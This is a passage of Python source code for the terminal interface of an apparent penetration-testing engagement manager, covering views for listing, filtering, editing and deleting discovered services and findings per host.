    click.echo(f"  {len(selected_ids)} service(s) selected")
    click.echo("  " + "─" * 30)
    click.echo("  [1] Export selected to CSV")
    click.echo("  [2] Run tool against selected hosts")
    click.echo("  [q] Cancel")
    click.echo()
    choice = click.prompt("  Select option", default="0", show_default=False).strip()
    # Placeholder for bulk actions
    if choice == '1':
        click.echo("  Export not yet implemented")
        click.pause()


def _view_service_detail(service: dict, hm):
    """Display detailed view of a single service."""
    DesignSystem.clear_screen()
    width = get_terminal_width()

    click.echo()
    click.echo("┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" SERVICE DETAILS ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()

    click.echo(f"  Port:     {service.get('port', 'N/A')}")
    click.echo(f"  Protocol: {service.get('protocol', 'tcp')}")
    click.echo(f"  Service:  {service.get('service_name', 'unknown')}")
    click.echo(f"  Host:     {service.get('ip_address', 'N/A')}")
    click.echo(f"  Version:  {service.get('service_version', '-')}")
    click.echo()

    click.pause("  Press any key to return...")


def view_services_by_host(engagement_id: int):
    """Display services grouped by host using interactive selector."""
    from souleyez.ui.interactive_selector import interactive_select

    hm = HostManager()

    while True:
        # Get all hosts with services
        hosts = hm.list_hosts(engagement_id)
        hosts_with_services = []

        for host in hosts:
            services = hm.get_host_services(host['id'])
            if services:  # Only show hosts with services
                vuln_count = hm.get_host_vulnerability_count(host['id'])
                # Count protocols for this host
                host_tcp = 0
                host_udp = 0
                for svc in services:
                    proto = svc.get('protocol', 'tcp').lower()
                    if proto == 'tcp':
                        host_tcp += 1
                    elif proto == 'udp':
                        host_udp += 1
                hosts_with_services.append({
                    'host': host,
                    'service_count': len(services),
                    'tcp_count': host_tcp,
                    'udp_count': host_udp,
                    'vuln_count': vuln_count
                })

        # Sort by service count (most services first)
        hosts_with_services.sort(key=lambda x: x['service_count'], reverse=True)

        if not hosts_with_services:
            DesignSystem.clear_screen()
            click.echo("\n  No services found.")
            click.echo()
            click.pause("  Press any key to return...")
            return

        # Build items for interactive selector
        host_items = []
        for item in hosts_with_services:
            host = item['host']
            host_items.append({
                'id': host.get('id'),
                'ip_address': host.get('ip_address', 'N/A'),
                'hostname': host.get('hostname') or '-',
                'tcp_count': item['tcp_count'],
                'udp_count': item['udp_count'],
                'service_count': item['service_count'],
                'vuln_count': item['vuln_count']
            })

        columns = [
            {'name': 'Host IP', 'width': 18, 'key': 'ip_address'},
            {'name': 'Hostname', 'width': 30, 'key': 'hostname'},
            {'name': 'TCP', 'width': 8, 'key': 'tcp_count'},
            {'name': 'UDP', 'width': 8, 'key': 'udp_count'},
            {'name': 'Total', 'width': 8, 'key': 'service_count'},
            {'name': 'Vulns', 'width': 8, 'key': 'vuln_count'},
        ]

        def format_cell(item: dict, key: str) -> str:
            value = item.get(key)
            if key == 'ip_address':
                return f"[green]●[/green] {value}"
            elif key == 'tcp_count':
                return f"[cyan]{value}[/cyan]" if value > 0 else f"[dim]{value}[/dim]"
            elif key == 'udp_count':
                return f"[yellow]{value}[/yellow]" if value > 0 else f"[dim]{value}[/dim]"
            elif key == 'vuln_count':
                return f"[red]{value}[/red]" if value > 0 else f"[dim]{value}[/dim]"
            return str(value) if value is not None else '-'

        selected_ids = set()
        interactive_select(
            items=host_items,
            columns=columns,
            selected_ids=selected_ids,
            get_id=lambda h: h.get('id'),
            title='SERVICES BY HOST',
            format_cell=format_cell
        )

        # View services for selected hosts, then loop back
        if selected_ids:
            for host_id in selected_ids:
                host = next((item['host'] for item in hosts_with_services if item['host'].get('id') == host_id), None)
                if host:
                    view_host_services(host, hm)
        else:
            # No selection (user pressed q) - exit
            return


def view_all_services_filtered(engagement_id: int):
    """Display all services with filtering and sorting options."""
    hm = HostManager()
    import re

    # Active filters
    filters = {
        'service_name': None,
        'port_min': None,
        'port_max': None,
        'protocol': None,
        'sort_by': 'port'
    }
    
    # Display limit (None = show all)
    display_limit = 50

    while True:
        DesignSystem.clear_screen()
        
        width = get_terminal_width()
        click.echo()
        click.echo("┌" + "─" * (width - 2) + "┐")
        title = "ALL SERVICES"
        padding = (width - len(title) - 2) // 2
        click.echo("│" + " " * padding + click.style(title, bold=True, fg='cyan') + " " * (width - len(title) - padding - 2) + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Show active filters
        active_filters = []
        if filters['service_name']:
            active_filters.append(f"service: {filters['service_name']}")
        if filters['port_min'] is not None or filters['port_max'] is not None:
            if filters['port_min'] and filters['port_max']:
                active_filters.append(f"ports: {filters['port_min']}-{filters['port_max']}")
            elif filters['port_min']:
                active_filters.append(f"ports: >={filters['port_min']}")
            elif filters['port_max']:
                active_filters.append(f"ports: <={filters['port_max']}")
        if filters['protocol']:
            active_filters.append(f"protocol: {filters['protocol']}")

        if active_filters:
            click.echo("  " + click.style("Active Filters: ", bold=True, fg='yellow') + click.style(", ".join(active_filters), fg='yellow'))
        click.echo("  " + click.style(f"Sort by: ", bold=True) + click.style(filters['sort_by'], fg='cyan'))

        # Get ALL services first to count protocols (before filtering by protocol)
        all_services_unfiltered = hm.get_all_services(
            engagement_id,
            service_name=filters['service_name'],
            port_min=filters['port_min'],
            port_max=filters['port_max'],
            protocol=None,  # Don't filter by protocol for counting
            sort_by=filters['sort_by']
        )
        tcp_count = len([s for s in all_services_unfiltered if (s.get('protocol') or 'tcp').lower() == 'tcp'])
        udp_count = len([s for s in all_services_unfiltered if (s.get('protocol') or '').lower() == 'udp'])
        total_count = len(all_services_unfiltered)

        click.echo()

        # Get services with filters
        services = hm.get_all_services(
            engagement_id,
            service_name=filters['service_name'],
            port_min=filters['port_min'],
            port_max=filters['port_max'],
            protocol=filters['protocol'],
            sort_by=filters['sort_by']
        )

        if not services:
            click.echo("  " + click.style("No services found with current filters.", fg='yellow'))
            click.echo()
        else:
            # Use Rich Table for better display
            from rich.console import Console
            from rich.table import Table
            
            console = Console(width=width - 4)
            table = Table(
                show_header=True,
                header_style="bold cyan",
                box=DesignSystem.TABLE_BOX,
                padding=(0, 1),
                expand=True
            )
            
            table.add_column("Port", width=8, justify="right", no_wrap=True)
            table.add_column("Proto", width=9, no_wrap=True)
            table.add_column("Service", width=18, overflow="ellipsis")
            table.add_column("Host", width=20, no_wrap=True)
            table.add_column("Version", no_wrap=False)

            for svc in services[:display_limit] if display_limit else services:
                port = str(svc.get('port', '?'))
                protocol = (svc.get('protocol') or 'tcp')
                service = (svc.get('service_name') or 'unknown')
                host_ip = (svc.get('ip_address') or 'N/A')

                # Clean version string - remove nmap metadata
                raw_version = svc.get('service_version') or ''
                if raw_version and raw_version != '-':
                    # Remove "syn-ack ttl XX" prefix more thoroughly
                    version = raw_version
                    for prefix in ['syn-ack ttl', 'ttl', 'syn-ack', 'reset ttl', 'tcp-response ttl']:
                        if version.startswith(prefix):
                            parts = version.split()
                            cleaned_parts = []
                            skip_next = False
                            for i, part in enumerate(parts):
                                if skip_next:
                                    skip_next = False
                                    continue
                                if part in ['syn-ack', 'ttl', 'reset', 'tcp-response']:
                                    if part == 'ttl':
                                        skip_next = True
                                    continue
                                cleaned_parts = parts[i:]
                                break
                            version = ' '.join(cleaned_parts) if cleaned_parts else raw_version
                            break
                    version = version or '-'
                else:
                    version = '-'

                table.add_row(port, protocol, service, host_ip, version)

            console.print(table)
            click.echo()

            if display_limit and len(services) > display_limit:
                click.echo("  " + click.style(f"... and {len(services) - display_limit} more (use filters to narrow results)", fg='bright_black'))
            else:
                click.echo("  " + click.style(f"Total: {len(services)} service(s)", bold=True))
            click.echo()

        # Menu options
        width = get_terminal_width()
        click.echo(click.style("  " + "═" * (width - 4), fg='bright_black'))
        click.echo()
        click.echo(click.style("  FILTERS & SORTING", bold=True, fg='yellow'))
        click.echo("  " + "─" * (width - 4))
        click.echo()

        # Quick protocol filter toggles
        tcp_style = ('green', True) if filters['protocol'] == 'tcp' else ('cyan', False)
        udp_style = ('green', True) if filters['protocol'] == 'udp' else ('cyan', False)
        all_style = ('green', True) if filters['protocol'] is None else ('cyan', False)

        click.echo("    " + click.style("[t]", fg=tcp_style[0], bold=tcp_style[1]) + f" TCP ({tcp_count})")
        click.echo("    " + click.style("[u]", fg=udp_style[0], bold=udp_style[1]) + f" UDP ({udp_count})")
        click.echo("    " + click.style("[b]", fg=all_style[0], bold=all_style[1]) + f" Both ({total_count})")
        click.echo()
        click.echo("    " + click.style("[1]", fg='cyan', bold=True) + " Filter by Service Name")
        click.echo("    " + click.style("[2]", fg='cyan', bold=True) + " Filter by Port Range")
        click.echo("    " + click.style("[3]", fg='cyan', bold=True) + " Filter by Protocol")
        click.echo("    " + click.style("[4]", fg='cyan', bold=True) + " Sort by (port/service/protocol)")
        click.echo("    " + click.style("[5]", fg='cyan', bold=True) + " Clear All Filters")
        if display_limit and len(services) > display_limit:
            click.echo("    " + click.style("[6]", fg='yellow', bold=True) + click.style(f" Show All {len(services)} Services (no limit)", fg='yellow'))
        elif display_limit:
            click.echo("    " + click.style("[6]", fg='green', bold=True) + click.style(f" Currently showing all {len(services)} services", fg='green'))
        click.echo()
        click.echo(click.style("  MANAGEMENT", bold=True, fg='yellow'))
        click.echo("  " + "─" * (width - 4))
        click.echo()
        click.echo("    " + click.style("[7]", fg='cyan', bold=True) + " Add New Service")
        click.echo("    " + click.style("[8]", fg='cyan', bold=True) + " Edit Service")
        click.echo("    " + click.style("[9]", fg='cyan', bold=True) + " Delete Service")
        click.echo()
        click.echo(click.style("  " + "═" * (width - 4), fg='bright_black'))
        click.echo()
        click.echo("    " + click.style("[q]", fg='red', bold=True) + " ← Back to Services View")
        click.echo()

        try:
            choice_input = click.prompt("  Select option", default="0", show_default=False).strip().lower()

            # Handle quick protocol filter shortcuts
            if choice_input == 't':
                filters['protocol'] = 'tcp'
                continue
            elif choice_input == 'u':
                filters['protocol'] = 'udp'
                continue
            elif choice_input == 'b':
                filters['protocol'] = None
                continue

            # Handle numeric choices
            try:
                choice = int(choice_input)
            except ValueError:
                click.echo(click.style("  Invalid option", fg='red'))
                click.pause()
                continue

            if choice == 0:
                return
            elif choice == 1:
                filters['service_name'] = _filter_service_name()
            elif choice == 2:
                port_range = _filter_port_range()
                if port_range:
                    filters['port_min'], filters['port_max'] = port_range
            elif choice == 3:
                filters['protocol'] = _filter_protocol()
            elif choice == 4:
                filters['sort_by'] = _select_sort_order()
            elif choice == 5:
                filters = {k: None if k != 'sort_by' else 'port' for k, v in filters.items()}
                click.echo(click.style("✓ All filters cleared", fg='green'))
                click.pause()
            elif choice == 6:
                # Toggle display limit
                if display_limit:
                    display_limit = None
                    click.echo(click.style("✓ Showing all services", fg='green'))
                else:
                    display_limit = 50
                    click.echo(click.style("✓ Limiting to 50 services", fg='green'))
                click.pause()
            elif choice == 7:
                _add_new_service(engagement_id, hm)
            elif choice == 8:
                _edit_service(engagement_id, hm)
            elif choice == 9:
                _delete_service(engagement_id, hm)

        except (KeyboardInterrupt, click.Abort):
            return


def _filter_service_name():
    """Prompt for service name filter."""
    try:
        name = click.prompt("Service name (or press Enter to clear)", default="", show_default=False)
        return name if name else None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_port_range():
    """Prompt for port range filter."""
    try:
        port_min = click.prompt("Minimum port (or press Enter to skip)", type=int, default="", show_default=False)
    except click.Abort:
        port_min = None
    except:
        port_min = None

    try:
        port_max = click.prompt("Maximum port (or press Enter to skip)", type=int, default="", show_default=False)
    except click.Abort:
        port_max = None
    except:
        port_max = None

    if port_min is not None or port_max is not None:
        return (port_min, port_max)
    return None


def _filter_protocol():
    """Prompt for protocol filter."""
    click.echo("\nSelect protocol:")
    click.echo("  [1] TCP")
    click.echo("  [2] UDP")
    click.echo("  [q] Clear filter")

    try:
        choice_input = click.prompt("Protocol", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if choice == 1:
                return 'tcp'
            elif choice == 2:
                return 'udp'
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _select_sort_order():
    """Prompt for sort order."""
    click.echo("\nSort by:")
    click.echo("  [1] Port")
    click.echo("  [2] Service Name")
    click.echo("  [3] Protocol")

    try:
        choice = click.prompt("Sort", type=int, default=1)
        if choice == 2:
            return 'service'
        elif choice == 3:
            return 'protocol'
        return 'port'
    except (KeyboardInterrupt, click.Abort):
        return 'port'


def _add_new_service(engagement_id: int, hm: 'HostManager'):
    """Add a new service manually."""
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 80)
    click.echo("ADD NEW SERVICE")
    click.echo("=" * 80 + "\n")

    try:
        # Host selection
        hosts = hm.list_hosts(engagement_id)

        if not hosts:
            click.echo(click.style("✗ No hosts found. Please add hosts first!", fg='red'))
            click.pause()
            return

        click.echo("Select host:")
        for idx, host in enumerate(hosts[:20], 1):
            click.echo(f"  [{idx}] {host.get('ip_address')} - {host.get('hostname', 'N/A')}")

        host_choice = click.prompt("Select host", type=int)
        if not (1 <= host_choice <= len(hosts)):
            click.echo(click.style("✗ Invalid host selection!", fg='red'))
            click.pause()
            return

        host_id = hosts[host_choice - 1]['id']

        # Port (required)
        port = click.prompt("\nPort", type=int)

        # Service name
        service_name = click.prompt("Service name (e.g., ssh, http, mysql)", type=str, default="")

        # Protocol
        click.echo("\nProtocol:")
        click.echo("  [1] TCP")
        click.echo("  [2] UDP")
        proto_choice = click.prompt("Select protocol", type=int, default=1)
        protocol = 'tcp' if proto_choice == 1 else 'udp'

        # State
        click.echo("\nState:")
        click.echo("  [1] Open")
        click.echo("  [2] Closed")
        click.echo("  [3] Filtered")
        state_choice = click.prompt("Select state", type=int, default=1)
        state_map = {1: 'open', 2: 'closed', 3: 'filtered'}
        state = state_map.get(state_choice, 'open')

        # Version (optional)
        version = click.prompt("\nService version (press Enter to skip)", type=str, default="")

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("SUMMARY:", bold=True))
        click.echo(f"Host: {hosts[host_choice - 1].get('ip_address')}")
        click.echo(f"Port: {port}")
        click.echo(f"Protocol: {protocol}")
        click.echo(f"Service: {service_name or 'unknown'}")
        click.echo(f"State: {state}")
        click.echo(f"Version: {version or 'N/A'}")
        click.echo("-" * 80)

        if not click.confirm("\nAdd this service?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Add to database
        service_data = {
            'port': port,
            'protocol': protocol,
            'service': service_name or 'unknown',
            'state': state,
            'version': version or None
        }

        service_id = hm.add_service(host_id, service_data)
        click.echo(click.style(f"\n✓ Service added successfully! (ID: {service_id})", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        click.echo(click.style("\nCancelled.", fg='yellow'))
        click.pause()
    except ValueError as e:
        click.echo(click.style(f"\n✗ Invalid input: {e}", fg='red'))
        click.pause()


def _edit_service(engagement_id: int, hm: 'HostManager'):
    """Edit an existing service."""
    try:
        service_id = click.prompt("\nEnter Service ID to edit", type=int)

        # Get service - need to search through all services
        all_services = hm.get_all_services(engagement_id)
        service = next((s for s in all_services if s.get('id') == service_id), None)

        if not service:
            click.echo(click.style("\n✗ Service not found!", fg='red'))
            click.pause()
            return

        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 80)
        click.echo(f"EDIT SERVICE #{service_id}")
        click.echo("=" * 80 + "\n")
        click.echo("Press Enter to keep current value\n")

        # Service name
        current_service = service.get('service_name', '')
        service_name = click.prompt(f"Service name [{current_service}]", type=str, default=current_service or "")

        # State
        current_state = service.get('state', 'open')
        click.echo(f"\nCurrent State: {current_state}")
        click.echo("  [1] Open")
        click.echo("  [2] Closed")
        click.echo("  [3] Filtered")
        click.echo("  [q] Keep current")
        state_input = click.prompt("Select state", type=str, default='q').strip()
        if state_input == 'q':
            state = current_state
        else:
            try:
                state_choice = int(state_input)
                state_map = {1: 'open', 2: 'closed', 3: 'filtered'}
                state = state_map.get(state_choice, current_state)
            except ValueError:
                state = current_state

        # Version
        current_version = service.get('service_version', '')
        version = click.prompt(f"\nVersion [{current_version}]", type=str, default=current_version or "")

        # Build update dict
        updates = {}
        if service_name != service.get('service_name'):
            updates['service_name'] = service_name or None
        if state != service.get('state'):
            updates['state'] = state
        if version != service.get('service_version'):
            updates['service_version'] = version or None

        if not updates:
            click.echo(click.style("\nNo changes made.", fg='yellow'))
            click.pause()
            return

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("CHANGES:", bold=True))
        for key, value in updates.items():
            click.echo(f"  {key}: {value}")
        click.echo("-" * 80)

        if not click.confirm("\nSave changes?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Update database
        hm.update_service(service_id, **updates)
        click.echo(click.style("\n✓ Service updated successfully!", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid Service ID!", fg='red'))
        click.pause()


def _delete_service(engagement_id: int, hm: 'HostManager'):
    """Delete a service."""
    try:
        service_id = click.prompt("\nEnter Service ID to delete", type=int)

        # Get service
        all_services = hm.get_all_services(engagement_id)
        service = next((s for s in all_services if s.get('id') == service_id), None)

        if not service:
            click.echo(click.style("\n✗ Service not found!", fg='red'))
            click.pause()
            return

        # Show service details
        click.echo("\n" + "-" * 80)
        click.echo(click.style("SERVICE TO DELETE:", bold=True))
        click.echo(f"ID: {service.get('id')}")
        click.echo(f"Host: {service.get('ip_address')}")
        click.echo(f"Port: {service.get('port')}")
        click.echo(f"Protocol: {service.get('protocol')}")
        click.echo(f"Service: {service.get('service_name')}")
        click.echo("-" * 80)

        if not click.confirm(click.style("\nAre you sure you want to delete this service?", fg='red'), default=False):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Delete from database
        if hm.delete_service(service_id):
            click.echo(click.style("\n✓ Service deleted successfully!", fg='green'))
        else:
            click.echo(click.style("\n✗ Failed to delete service!", fg='red'))

        click.pause()

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid Service ID!", fg='red'))
        click.pause()


def view_host_services(host: dict, hm: HostManager):
    """Display services for a specific host with TCP/UDP filtering."""
    import re
    from rich.console import Console
    from rich.table import Table

    protocol_filter = 'all'  # 'all', 'tcp', or 'udp'

    while True:
        all_services = hm.get_host_services(host['id'])

        # Count by protocol
        tcp_count = len([s for s in all_services if (s.get('protocol') or 'tcp').lower() == 'tcp'])
        udp_count = len([s for s in all_services if (s.get('protocol') or '').lower() == 'udp'])

        # Apply protocol filter
        if protocol_filter == 'tcp':
            services = [s for s in all_services if (s.get('protocol') or 'tcp').lower() == 'tcp']
        elif protocol_filter == 'udp':
            services = [s for s in all_services if (s.get('protocol') or '').lower() == 'udp']
        else:
            services = all_services

        DesignSystem.clear_screen()

        # Create header
        host_ip = host.get('ip_address', 'N/A')
        hostname = host.get('hostname', '')

        title = f"SERVICES - {host_ip}"
        if hostname:
            title += f" ({hostname})"

        # Print full-width header box
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(f" {title} ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        if not all_services:
            click.echo("  No services found.")
            click.echo()
        else:
            # Create Rich table with same styling as SERVICES BY HOST
            console = Console(width=width - 4)
            table = Table(
                show_header=True,
                header_style="bold cyan",
                box=DesignSystem.TABLE_BOX,
                padding=(0, 1),
                expand=True
            )

            table.add_column("Port", width=10)
            table.add_column("Protocol", width=12)
            table.add_column("Service", width=20)
            table.add_column("Version", no_wrap=False)

            for svc in services:
                port = str(svc.get('port', '?'))
                protocol = svc.get('protocol', 'tcp')
                service = svc.get('service_name') or 'unknown'

                # Clean version string - remove nmap metadata like "syn-ack ttl 64"
                raw_version = svc.get('service_version') or ''
                if raw_version:
                    # Strip nmap response prefixes (syn-ack, reset, etc.) and ttl info
                    version = re.sub(r'^(syn-ack|reset|tcp-response)\s+ttl\s+\d+\s*', '', raw_version)
                    version = version or '-'
                else:
                    version = '-'

                table.add_row(port, protocol, service, version)

            console.print(table)

            # Show filter status
            filter_label = protocol_filter.upper() if protocol_filter != 'all' else 'ALL'
            click.echo(f"\n  Total: {len(services)} service(s)  [Filter: {filter_label}]")

        click.echo()
        click.echo(click.style("  " + "═" * (width - 4), fg='bright_black'))
        click.echo()

        # Filter options with current selection highlighted
        tcp_style = ('green', True) if protocol_filter == 'tcp' else ('cyan', False)
        udp_style = ('green', True) if protocol_filter == 'udp' else ('cyan', False)
        all_style = ('green', True) if protocol_filter == 'all' else ('cyan', False)

        click.echo("    " + click.style("[t]", fg=tcp_style[0], bold=tcp_style[1]) + f" TCP ({tcp_count})")
        click.echo("    " + click.style("[u]", fg=udp_style[0], bold=udp_style[1]) + f" UDP ({udp_count})")
        click.echo("    " + click.style("[b]", fg=all_style[0], bold=all_style[1]) + f" Both ({len(all_services)})")
        click.echo()
        click.echo("    " + click.style("[q]", fg='red', bold=True) + " ← Back")
        click.echo()

        choice = click.prompt("  Choice", default="0").strip().lower()

        if choice == 'q' or choice == '':
            break
        elif choice == 't':
            protocol_filter = 'tcp'
        elif choice == 'u':
            protocol_filter = 'udp'
        elif choice == 'b':
            protocol_filter = 'all'


def view_findings(engagement_id: int):
    """Display findings in engagement with static table and opt-in interactive selection."""
    from souleyez.ui.interactive_selector import interactive_select
    from rich.console import Console
    from rich.table import Table

    fm = FindingsManager()
    console = Console()

    # Active filters
    filters = {
        'severity': None,
        'finding_type': None,
        'tool': None,
        'search': None,
        'ip_address': None
    }

    # Pagination
    PAGE_SIZE = 20
    current_page = 1
    view_all_findings = False  # Toggle to show all findings without pagination

    # Persistent selection across pages
    selected_ids: set = set()

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()

        click.echo()
        click.echo("┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" FINDINGS ".center(width - 2), bold=True, fg='red') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Get findings with filters
        findings = fm.list_findings(
            engagement_id,
            severity=filters['severity'],
            finding_type=filters['finding_type'],
            tool=filters['tool'],
            search=filters['search'],
            ip_address=filters['ip_address']
        )

        # Sort findings by severity (critical → high → medium → low → info)
        severity_order = {'critical': 0, 'high': 1, 'medium': 2, 'low': 3, 'info': 4}
        findings = sorted(findings, key=lambda f: severity_order.get(f.get('severity', 'info'), 5))

        total_findings = len(findings)
        total_pages = max(1, (total_findings + PAGE_SIZE - 1) // PAGE_SIZE)
        current_page = min(current_page, total_pages)

        # Show summary line
        summary_parts = [f"Total: {total_findings} items"]
        if selected_ids:
            summary_parts.append(f"Selected: {len(selected_ids)}")

        # Show active filters
        active_filters = [f"{k}: {v}" for k, v in filters.items() if v]
        if active_filters:
            summary_parts.append(f"Filters: {', '.join(active_filters)}")

        click.echo("  " + "  |  ".join(summary_parts))
        click.echo()

        if not findings:
            click.echo("  " + click.style("No findings found with current filters.", fg='yellow'))
        else:
            # Calculate page slice (or show all)
            if view_all_findings:
                page_findings = findings
            else:
                start_idx = (current_page - 1) * PAGE_SIZE
                end_idx = start_idx + PAGE_SIZE
                page_findings = findings[start_idx:end_idx]

            # Build static table
            table = Table(show_header=True, header_style="bold", box=DesignSystem.TABLE_BOX, padding=(0, 2), expand=True)
            table.add_column("○", width=3, justify="center")  # Selection indicator
            table.add_column("ID", justify="right", width=6)
            table.add_column("Severity", width=10)
            table.add_column("Type", width=18)
            table.add_column("Tool", width=12)
            table.add_column("Host", width=16)
            table.add_column("Title", width=40)

            for finding in page_findings:
                fid = finding['id']
                selected = "●" if fid in selected_ids else "○"
                sev = finding.get('severity', 'info')
                sev_colors = {'critical': 'red', 'high': 'red', 'medium': 'yellow', 'low': 'blue', 'info': 'white'}
                sev_styled = f"[{sev_colors.get(sev, 'white')}]{sev}[/{sev_colors.get(sev, 'white')}]"

                table.add_row(
                    selected,
                    str(fid),
                    sev_styled,
                    finding.get('finding_type') or 'unknown',
                    finding.get('tool') or '-',
                    finding.get('ip_address') or 'N/A',
                    (finding.get('title') or 'No title')[:40]
                )

            console.print(table)
            click.echo()
            if view_all_findings:
                click.echo(f"  Showing all {total_findings} items")
            else:
                click.echo(f"  Page {current_page}/{total_pages}")

        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        if total_pages > 1 and not view_all_findings:
            click.echo("  n/p: Next/Previous page")
        click.echo()
        click.echo("─" * width)
        click.echo()
        click.echo("  [#] View finding details")
        if view_all_findings:
            click.echo("  [a] All - Show paginated view")
        else:
            click.echo("  [a] All - Toggle pagination")
        click.echo("  [+] Add - Create new finding")
        click.echo("  [s] Severity - Filter by severity")
        click.echo("  [y] Type - Filter by finding type")
        click.echo("  [o] Tool - Filter by tool")
        click.echo("  [/] Search - Search in titles")
        click.echo("  [h] Host - Filter by IP address")
        click.echo("  [c] Clear - Clear all filters")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", default="q", show_default=False).strip()

            if choice == 'q':
                return
            elif choice == '+':
                _add_new_finding(engagement_id, fm)
            elif choice.lower() == 's':
                filters['severity'] = _filter_by_severity()
                current_page = 1
            elif choice.lower() == 'y':
                filters['finding_type'] = _filter_by_type(engagement_id, fm)
                current_page = 1
            elif choice.lower() == 'o':
                filters['tool'] = _filter_by_tool(engagement_id, fm)
                current_page = 1
            elif choice == '/':
                filters['search'] = _filter_by_search()
                current_page = 1
            elif choice.lower() == 'h':
                filters['ip_address'] = _filter_by_ip()
                current_page = 1
            elif choice.lower() == 'c':
                filters = {k: None for k in filters}
                current_page = 1
                click.echo(click.style("  ✓ All filters cleared", fg='green'))
                time.sleep(0.5)
            elif choice.lower() == 'a':
                # Toggle view all findings (disable pagination)
                view_all_findings = not view_all_findings
                if not view_all_findings:
                    current_page = 1  # Reset to first page when re-enabling pagination
            elif choice.isdigit():
                # Direct number entry - view finding by ID
                finding_id = int(choice)
                finding = fm.get_finding(finding_id)
                if finding:
                    _view_single_finding(finding)
                else:
                    click.echo(click.style(f"  Finding #{finding_id} not found.", fg='red'))
                    time.sleep(1)
            elif choice.lower() == 'n':
                if current_page < total_pages and not view_all_findings:
                    current_page += 1
            elif choice.lower() == 'p':
                if current_page > 1 and not view_all_findings:
                    current_page -= 1
            elif choice.lower() == 'i' and findings:
                # Enter interactive mode
                finding_items = []
                for finding in findings:
                    finding_items.append({
                        'id': finding['id'],
                        'severity': finding.get('severity', 'info'),
                        'finding_type': finding.get('finding_type') or 'unknown',
                        'tool': finding.get('tool') or '-',
                        'host': finding.get('ip_address') or 'N/A',
                        'title': finding.get('title') or 'No title'
                    })

                columns = [
                    {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
                    {'name': 'Severity', 'width': 10, 'key': 'severity'},
                    {'name': 'Type', 'width': 18, 'key': 'finding_type'},
                    {'name': 'Tool', 'width': 12, 'key': 'tool'},
                    {'name': 'Host', 'width': 16, 'key': 'host'},
                    {'name': 'Title', 'width': 40, 'key': 'title'},
                ]

                def format_finding_cell(item: dict, key: str) -> str:
                    if key == 'severity':
                        sev = item.get('severity', 'info')
                        colors = {'critical': 'red', 'high': 'red', 'medium': 'yellow', 'low': 'blue', 'info': 'white'}
                        return f"[{colors.get(sev, 'white')}]{sev}[/{colors.get(sev, 'white')}]"
                    return str(item.get(key, ''))

                interactive_select(
                    items=finding_items,
                    columns=columns,
                    selected_ids=selected_ids,
                    get_id=lambda f: f.get('id'),
                    title='FINDINGS',
                    format_cell=format_finding_cell,
                    page_size=20
                )

                # After interactive selection - show bulk action menu if selections made
                if selected_ids:
                    result = _findings_bulk_action_menu(engagement_id, fm, selected_ids, findings)
                    if result == 'exit':
                        return
                    elif result == 'cleared':
                        selected_ids.clear()

        except (KeyboardInterrupt, click.Abort):
            return


def _findings_bulk_action_menu(engagement_id: int, fm: 'FindingsManager', selected_ids: set, findings: list) -> str:
    """Show inline action menu for selected findings. Returns 'exit' to exit view, or continues."""
    # Check if user can delete findings
    from souleyez.auth import get_current_user
    from souleyez.auth.permissions import Permission, PermissionChecker
    user = get_current_user()
    can_delete = False
    if user:
        checker = PermissionChecker(user.role, user.tier)
        can_delete = checker.has_permission(Permission.FINDING_DELETE)

    # Don't clear screen - show inline at bottom of current view
    width = get_terminal_width()

    click.echo()
    click.echo(f"  Selected: {len(selected_ids)} finding(s)")
    click.echo("    [v] View")
    click.echo("    [e] Edit")
    if can_delete:
        click.echo("    [d] Delete")
    click.echo("    [q] Back")

    try:
        action = click.prompt("  Select option", default="0", show_default=False).strip().lower()

        if action == 'q':
            return 'continue'
        elif action == 'v':
            # View first selected
            first_id = list(selected_ids)[0]
            _view_single_finding(fm.get_finding(first_id))
            return 'continue'
        elif action == 'e':
            # Edit first selected
            first_id = list(selected_ids)[0]
            _edit_single_finding(engagement_id, fm, first_id)
            return 'continue'
        elif action == 'd':
            if not can_delete:
                click.echo(click.style("  ✗ Permission denied: Cannot delete findings", fg='red'))
                click.pause()
                return 'continue'
            # Bulk delete with confirmation
            click.echo()
            click.echo(click.style(f"  ⚠️  Delete {len(selected_ids)} finding(s)? This cannot be undone.", fg='red', bold=True))

            if click.confirm(click.style("  Confirm?", fg='yellow'), default=False):
                deleted = 0
                for fid in selected_ids:
                    try:
                        if fm.delete_finding(fid):
                            deleted += 1
                    except PermissionError:
                        pass
                click.echo(click.style(f"  ✓ Deleted {deleted} finding(s)", fg='green'))
            else:
                click.echo(click.style("  Cancelled", fg='green'))
            click.pause()
            return 'continue'
        else:
            return 'continue'

    except (KeyboardInterrupt, click.Abort):
        return 'exit'


def _view_single_finding(finding: dict):
    """Display a single finding's details with enhanced data breach visualization."""
    from rich.console import Console
    from rich.table import Table
    import os
    import csv

    if not finding:
